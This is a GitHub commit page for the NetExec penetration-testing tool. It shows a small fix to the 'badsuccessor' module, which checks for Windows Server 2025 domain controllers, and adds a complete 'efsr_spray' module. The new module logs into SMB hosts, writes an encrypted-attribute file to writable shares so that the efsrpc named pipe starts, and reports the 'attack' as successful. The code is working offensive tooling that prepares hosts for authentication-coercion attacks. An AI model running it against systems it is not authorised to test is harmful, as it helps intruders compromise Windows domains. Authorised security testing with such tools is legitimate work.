Skip to content

Commit 0f6f6ad

Browse files
authored
Merge branch 'main' into patch-1
2 parents 3332bee + 31acd22 commit 0f6f6ad

2 files changed

Lines changed: 113 additions & 1 deletion

File tree

nxc/modules/badsuccessor.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -187,7 +187,7 @@ def on_login(self, context, connection):
187187
for dc in parsed_resp:
188188
if "2025" in dc["operatingSystem"]:
189189
out = connection.resolver(dc["dNSHostName"])
190-
dc_ip = out[0] if out else "Unknown IP"
190+
dc_ip = out["host"] if out else "Unknown IP"
191191
context.log.success(f"Found domain controller with operating system Windows Server 2025: {dc_ip} ({dc['dNSHostName']})")
192192
else:
193193
context.log.fail("No domain controller with operating system Windows Server 2025 found, attack not possible. Enumerate dMSA objects anyway.")

nxc/modules/efsr_spray.py

Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
import ntpath
2+
from nxc.helpers.misc import gen_random_string
3+
from nxc.context import Context
4+
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
5+
from impacket.smbconnection import SessionError, SMBConnection
6+
7+
8+
def get_error_string(exception):
9+
if hasattr(exception, "getErrorString"):
10+
try:
11+
es = exception.getErrorString()
12+
except KeyError:
13+
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
14+
if type(es) is tuple:
15+
return es[0]
16+
else:
17+
return es
18+
else:
19+
return str(exception)
20+
21+
22+
class NXCModule:
23+
"""EFSR Spray Module
24+
Module by @rtpt-romankarwacik
25+
"""
26+
27+
name = "efsr_spray"
28+
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
29+
supported_protocols = ["smb"]
30+
opsec_safe = True # Does the module touch disk?
31+
multiple_hosts = True # Does the module support multiple hosts?
32+
excluded_shares = ["SYSVOL"]
33+
34+
def options(self, context: Context, module_options: dict[str, str]):
35+
"""
36+
FILE_NAME Name of the file which will be tried to create and afterwards delete
37+
SHARE_NAME If set, ONLY this share will be used
38+
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
39+
"""
40+
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
41+
self.share_name = module_options.get("SHARE_NAME")
42+
if module_options.get("EXCLUDED_SHARES"):
43+
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
44+
45+
def on_login(self, context: Context, connection):
46+
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
47+
48+
try:
49+
shares = conn.listShares()
50+
except SessionError as e:
51+
error = get_error_string(e)
52+
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
53+
return
54+
55+
# Check if named pipe is already available
56+
try:
57+
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
58+
if "efsrpc" in named_pipe_names:
59+
context.log.highlight("efsrpc named pipe is already available!")
60+
# if it is already activated we just skip this computer
61+
return
62+
except SessionError as e:
63+
error = get_error_string(e)
64+
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
65+
return
66+
67+
# Write an encrypted file on the share root.
68+
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
69+
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
70+
for share in shares:
71+
share_name = share["shi1_netname"][:-1]
72+
if self.share_name is not None and self.share_name != share_name:
73+
continue
74+
75+
if share_name in self.excluded_shares:
76+
continue
77+
78+
try:
79+
context.log.debug(f"Connecting to share {share_name}...")
80+
tid = conn.connectTree(share_name)
81+
except SessionError as e:
82+
context.log.debug(f"Could not connect to share {share_name}: {e}")
83+
continue
84+
try:
85+
context.log.debug(f"Creating file in {share_name}...")
86+
fid = conn.createFile(tid, self.file_name,
87+
desiredAccess=FILE_SHARE_WRITE,
88+
shareMode=FILE_SHARE_DELETE,
89+
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
90+
conn.closeFile(tid, fid)
91+
try:
92+
# this can happen when we have special permissions to create encrypted files
93+
conn.deleteFile(share_name, self.file_name)
94+
except SessionError as e:
95+
error = get_error_string(e)
96+
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
97+
pass
98+
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
99+
except SessionError as e:
100+
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
101+
102+
try:
103+
tid = conn.connectTree("IPC$")
104+
conn.waitNamedPipe(tid, "efsrpc", 10)
105+
context.log.highlight("Successfully activated efsrpc named pipe!")
106+
except SessionError as e:
107+
error = get_error_string(e)
108+
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
109+
context.log.debug("efsrpc pipe was not activated.")
110+
else:
111+
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
112+
return

0 commit comments

Comments
 (0)